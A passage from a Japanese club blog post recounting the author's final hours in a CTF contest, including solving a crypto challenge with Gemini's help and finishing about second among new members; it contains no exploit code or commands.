<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> &#x306A;&#x304A;&#x3053;&#x306E;&#x3042;&#x305F;&#x308A;&#x3067;ryoku&#x541B;&#x304C;1&#x4F4D;&#x306B;&#x6D6E;&#x4E0A;&#x3057;&#x3066;&#x304A;&#x308A;&#x3001;1&#x4F4D;&#x3092;&#x53D6;&#x308A;&#x8FD4;&#x3059;&#x306E;&#x304C;&#x975E;&#x5E38;&#x306B;&#x53B3;&#x3057;&#x305D;&#x3046;&#x306A;&#x72B6;&#x6CC1;&#x306B;&#x306A;&#x3063;&#x3066;&#x304F;&#x308B;&#x3002;&#x9006;&#x8EE2;&#x3059;&#x308B;&#x305F;&#x3081;&#x306B;&#x306F;&#x3042;&#x3068;2&#x554F;&#x307B;&#x3069;&#x901A;&#x3055;&#x306A;&#x3044;&#x3068;&#x3044;&#x3051;&#x306A;&#x3044;&#x304C;&#x3001;PPC&#x306F;&#x3053;&#x3053;&#x307E;&#x3067;&#x306E;&#x7A7A;&#x304D;&#x6642;&#x9593;&#xFF08;&#x3068;&#x3044;&#x3046;&#x304B;AI&#x3092;&#x52D5;&#x304B;&#x3057;&#x3064;&#x3064;&#x4E26;&#x5217;&#x3067;&#xFF09;&#x305A;&#x3063;&#x3068;&#x8003;&#x5BDF;&#x3057;&#x3066;&#x3044;&#x3066;&#x89E3;&#x3051;&#x3066;&#x3044;&#x306A;&#x3044;&#x306E;&#x3067;&#x6B8B;&#x308A;&#x5C11;&#x306A;&#x3044;&#x6642;&#x9593;&#x3067;&#x89E3;&#x304F;&#x306E;&#x306F;&#x3060;&#x3044;&#x3076;&#x7D76;&#x671B;&#x7684;&#x3060;&#x3063;&#x305F;&#x3002;&#x3057;&#x304B;&#x3057;&#x89E3;&#x3051;&#x308B;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x306A;&#x304B;&#x3063;&#x305F;Authorized Whale&#x304C;AI&#x3067;&#x89E3;&#x3051;&#x305F;&#x3053;&#x3068;&#x304B;&#x3089;&#x3001;Mod N Janken&#x3082;&#x884C;&#x3051;&#x308B;&#x306E;&#x3067;&#x306F;&#xFF1F;&#x3068;&#x601D;&#x3063;&#x3066;&#x89E3;&#x304D;&#x306B;&#x884C;&#x304F;&#x3053;&#x3068;&#x306B;&#x3002;</p>
<h3 id="mod-n-jankenlv5crypto">Mod N janken(Lv.5/Crypto)</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> &#x3053;&#x306E;&#x554F;&#x984C;&#x306F;2&#x65E5;&#x76EE;&#x304B;&#x3089;&#x7D50;&#x69CB;&#x305A;&#x3063;&#x3068;&#x8003;&#x3048;&#x3066;&#x3044;&#x305F;&#x3002;AI&#x304C;&#x5168;&#x63A2;&#x7D22;&#x3092;&#x63D0;&#x6848;&#x3057;&#x3066;&#x6765;&#x305F;&#x308A;&#x3057;&#x305F;&#x306E;&#x3067;&#x3001;&#x4E00;&#x65E6;&#x81EA;&#x5206;&#x3067;&#x30B3;&#x30FC;&#x30C9;&#x3092;&#x8AAD;&#x3093;&#x3067;&#x89E3;&#x6CD5;&#x3092;&#x8003;&#x3048;&#x3066;&#x3044;&#x305F;&#x3002;nextrand&#x95A2;&#x6570;&#x306B;&#x7DDA;&#x5F62;&#x6027;&#xFF1F;&#x304C;&#x3042;&#x308A;&#x3001;&#x81EA;&#x5206;&#x3067;&#x7528;&#x610F;&#x3059;&#x308B;&#x65B9;&#x306E;&#x6570;&#x5217;&#x3082;&#x540C;&#x3058;&#x52D5;&#x304B;&#x3057;&#x65B9;&#x3092;&#x3059;&#x308C;&#x3070;&#x540C;&#x3058;&#x7CFB;&#x5217;&#x306E;&#x4E71;&#x6570;&#x304C;&#x4F5C;&#x308C;&#x308B;&#x3068;&#x304B;&#x3001;64bit&#x306E;&#x6574;&#x6570;&#x306A;&#x306E;&#x3067;120&#x500B;&#x306E;&#x6570;&#x304C;&#x3042;&#x308C;&#x3070;xor&#x57FA;&#x5E95;&#x304C;&#x5B58;&#x5728;&#x3057;&#x305D;&#x3046;&#x3068;&#x304B;&#x8272;&#x3005;&#x8003;&#x3048;&#x305F;&#x304C;&#x3001;&#x7D50;&#x5C40;&#x81EA;&#x529B;&#x3067;&#x306F;&#x89E3;&#x304F;&#x624B;&#x6BB5;&#x3092;&#x601D;&#x3044;&#x3064;&#x3051;&#x306A;&#x304B;&#x3063;&#x305F;&#x3002;CTF&#x306E;&#x554F;&#x984C;&#x306E;&#x4E2D;&#x3067;&#x306F;&#x3053;&#x306E;&#x554F;&#x984C;&#x3092;&#x4E00;&#x756A;&#x8003;&#x3048;&#x305F;&#x3068;&#x601D;&#x3046;...<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> &#x305D;&#x308C;&#x306F;&#x305D;&#x3046;&#x3068;&#x3001;Authorized Whale&#x3092;&#x89E3;&#x304F;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x305F;&#x306E;&#x306F;Gemini&#x3060;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;&#x540C;&#x3058;&#x304F;Gemini&#x306B;&#x3001;Authorized Whale&#x3092;&#x89E3;&#x3044;&#x305F;&#x3068;&#x304D;&#x3068;&#x540C;&#x3058;&#x3088;&#x3046;&#x306A;&#x6D41;&#x308C;&#x3067;&#x805E;&#x3044;&#x3066;&#x307F;&#x308B;&#x3002;&#x4E26;&#x884C;&#x3057;&#x3066;diary(Lv.5/Pwn)&#x3082;&#x540C;&#x3058;&#x30BF;&#x30A4;&#x30DF;&#x30F3;&#x30B0;&#x3067;&#x540C;&#x3058;&#x3088;&#x3046;&#x306B;&#x89E3;&#x304D;&#x9032;&#x3081;&#x3066;&#x3044;&#x305F;&#x3002;AI&#x304C;&#x63D0;&#x793A;&#x3057;&#x305F;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x7B49;&#x3092;&#x5B9F;&#x884C;&#x3057;&#x3001;&#x305D;&#x308C;&#x304C;&#x5B9F;&#x884C;&#x3055;&#x308C;&#x3066;&#x3044;&#x308B;&#x9593;&#x306B;&#x3082;&#x3046;&#x7247;&#x65B9;&#x306E;&#x554F;&#x984C;&#x3078;&#x3002;&#x5B9F;&#x884C;&#x304C;&#x7D42;&#x308F;&#x3063;&#x305F;&#x3089;&#x305D;&#x306E;&#x7D50;&#x679C;&#x3092;AI&#x306B;&#x8CBC;&#x308A;&#x4ED8;&#x3051;&#x3066;&#x6B21;&#x306E;&#x30B3;&#x30DE;&#x30F3;&#x30C9;&#x3092;&#x5B9F;&#x884C;&#x3001;&#x3068;&#x3044;&#x3046;&#x52D5;&#x304D;&#x3092;&#x4EA4;&#x4E92;&#x306B;&#x7E70;&#x308A;&#x8FD4;&#x3057;&#x3066;&#x3044;&#x305F;&#x3002;&#x3057;&#x3070;&#x3089;&#x304F;&#x3084;&#x308A;&#x53D6;&#x308A;&#x3092;&#x7D9A;&#x3051;&#x3066;&#x3044;&#x305F;&#x3089;&#x3064;&#x3044;&#x306B;&#x7B54;&#x3048;&#x306B;&#x305F;&#x3069;&#x308A;&#x7740;&#x3044;&#x305F;&#x3002;(18&#x6642;18&#x5206;)</p>
<h3 id="%E3%82%B3%E3%83%B3%E3%83%86%E3%82%B9%E3%83%88%E7%B5%82%E4%BA%86%E3%81%BE%E3%81%A7">&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x7D42;&#x4E86;&#x307E;&#x3067;</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> &#x3053;&#x306E;&#x6642;&#x70B9;&#x3067;&#x6B8B;&#x308A;1&#x6642;&#x9593;50&#x5206;&#x307B;&#x3069;&#x3057;&#x304B;&#x6B8B;&#x3063;&#x3066;&#x3044;&#x306A;&#x304B;&#x3063;&#x305F;&#x3002;&#x3057;&#x304B;&#x3082;&#x3053;&#x306E;&#x30BF;&#x30A4;&#x30DF;&#x30F3;&#x30B0;&#x3067;Gemini&#x304C;Rate Limit&#x306B;&#x5230;&#x9054;&#x3057;&#x3001;&#x53D6;&#x308C;&#x308B;&#x624B;&#x6BB5;&#x304C;&#x5B8C;&#x5168;&#x306B;&#x306A;&#x304F;&#x306A;&#x3063;&#x3066;&#x3057;&#x307E;&#x3063;&#x305F;&#x3002;&#x4E00;&#x5FDC;PPC&#x306E;&#x8003;&#x5BDF;&#x306F;&#x3057;&#x3066;&#x307F;&#x308B;&#x3082;&#x306E;&#x306E;&#x3001;&#x304B;&#x306A;&#x308A;&#x7D76;&#x671B;&#x7684;&#x3060;&#x306A;&#x3042;&#x3068;&#x601D;&#x3063;&#x3066;&#x3044;&#x305F;&#x3002;<br>
<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> &#x305D;&#x306E;&#x307E;&#x307E;&#x7D42;&#x4E86;&#x307E;&#x3067;&#x7D50;&#x5C40;&#x4F55;&#x3082;&#x6210;&#x679C;&#x3092;&#x5F97;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x306A;&#x304B;&#x3063;&#x305F;...&#xFF08;Twitter&#x3084;traQ&#x3067;ryoku&#x304F;&#x3093;&#xFF5E;&#xFF5E;&#x3068;&#x3064;&#x3076;&#x3084;&#x304F;&#x5316;&#x3051;&#x7269;&#x306B;&#x306A;&#x3063;&#x3066;&#x3044;&#x305F;&#xFF09;</p>
<h3 id="%E3%82%B3%E3%83%B3%E3%83%86%E3%82%B9%E3%83%88%E7%B5%82%E4%BA%86%E7%9B%B4%E5%BE%8C">&#x30B3;&#x30F3;&#x30C6;&#x30B9;&#x30C8;&#x7D42;&#x4E86;&#x76F4;&#x5F8C;</h3>
<p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span> &#x65B0;&#x5165;&#x751F;2&#x4F4D;&#x304C;&#x307B;&#x307C;&#x78BA;&#x5B9A;&#x3057;&#x3066;&#x3044;&#x305D;&#x3046;&#x3060;&#x3063;&#x305F;&#x306E;&#x3067;&#x3001;traP&#x306E;&#x4EBA;&#x305F;&#x3061;&#x3084;&#x53CB;&#x9054;&#x306B;&#x7D50;&#x679C;&#x3092;&#x5831;&#x544A;&#x3057;&#x3066;&#x795D;&#x3063;&#x3066;&#x3082;&#x3089;&#x3063;&#x305F;&#x3002;ryoku&#x541B;&#x306F;&#x6F5C;&#x4F0F;&#x3057;&#x305F;&#x308A;&#x3057;&#x306A;&#x304B;&#x3063;&#x305F;&#x308A;&#x3092;&#x826F;&#x3044;&#x611F;&#x3058;&#x306B;&#x3084;&#x3063;&#x3066;&#x3044;&#x305F;&#x3089;&#x3057;&#x3044;&#x3002;&#x307E;&#x3042;&#x3068;&#x306B;&#x304B;&#x304F;48&#x6642;&#x9593;&#x306E;&#x3046;&#x3061;&#x7D50;&#x69CB;&#x306A;&#x5272;&#x5408;&#x3092;&#x982D;&#x3092;&#x4F7F;&#x3063;&#x3066;&#x904E;&#x3054;&#x3057;&#x305F;&#x306E;&#x3067;&#x75B2;&#x308C;&#x3066;&#x3044;&#x305F;&#x3002;&#x8208;&#x596E;&#x304C;&#x629C;&#x3051;&#x306A;&#x304F;&#x3066;&#x305D;&#x306E;&#x65E5;&#x306F;&#x591C;&#x5BDD;&#x308B;&#x306E;&#x304C;&#x9045;&#x304F;&#x306A;&#x3063;&#x3066;&#x3057;&#x307E;&#x3063;&#x305F;...</p>
<!--kg-card-end: markdown--><h1 id="%E3%81%BE%E3%81%A8%E3%82%81">&#x307E;&#x3068;&#x3081;</h1><p>&#x3000;1&#x4F4D;&#x306B;&#x306F;&#x306A;&#x308C;&#x306A;&#x304B;&#x3063;&#x305F;&#x3082;&#x306E;&#x306E;&#x304B;&#x306A;&#x308A;&#x9AD8;&#x3044;&#x9806;&#x4F4D;&#x3092;&#x53D6;&#x308B;&#x3053;&#x3068;&#x304C;&#x3067;&#x304D;&#x5B09;&#x3057;&#x304B;&#x3063;&#x305F;&#x3067;&#x3059;&#x3002;&#x307E;&#x305F;&#x554F;&#x984C;&#x306E;&#x91CF;&#x304C;&#x591A;&#x304F;&#x3001;&#x9762;&#x767D;&#x3044;&#x554F;&#x984C;&#x3082;&#x591A;&#x304F;&#x3001;&#x4F5C;&#x554F;&#x9663;&#x306E;&#x65B9;&#x3005;&#x306F;&#x3059;&#x3054;&#x3044;&#x306A;&#x3041;&#x3068;&#x601D;&#x3044;&#x307E;&#x3057;&#x305F;&#x3002;&#x50D5;&#x3082;&#x6765;&#x5E74;&#x306F;&#x4F5C;&#x554F;&#x5074;&#x306B;&#x56DE;&#x308B;&#x3068;&#x601D;&#x3046;&#x306E;&#x3067;&#x9811;&#x5F35;&#x308A;&#x305F;&#x3044;&#x3067;&#x3059;&#x3002;</p><!--kg-card-begin: markdown--><p><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0em;"></span><span class="mspace" style="margin-right:1em;"></span></span></span></span>&#x660E;&#x65E5;&#x306E;&#x6295;&#x7A3F;&#x8005;&#x306F;<a href="https://trap.jp/author/n3/">@n3</a>&#x3055;&#x3093;&#x3067;&#x3059;&#xFF01;&#x304A;&#x697D;&#x3057;&#x307F;&#x306B;&#xFF01;</p>
<!--kg-card-end: markdown-->]]></content:encoded></item></channel></rss>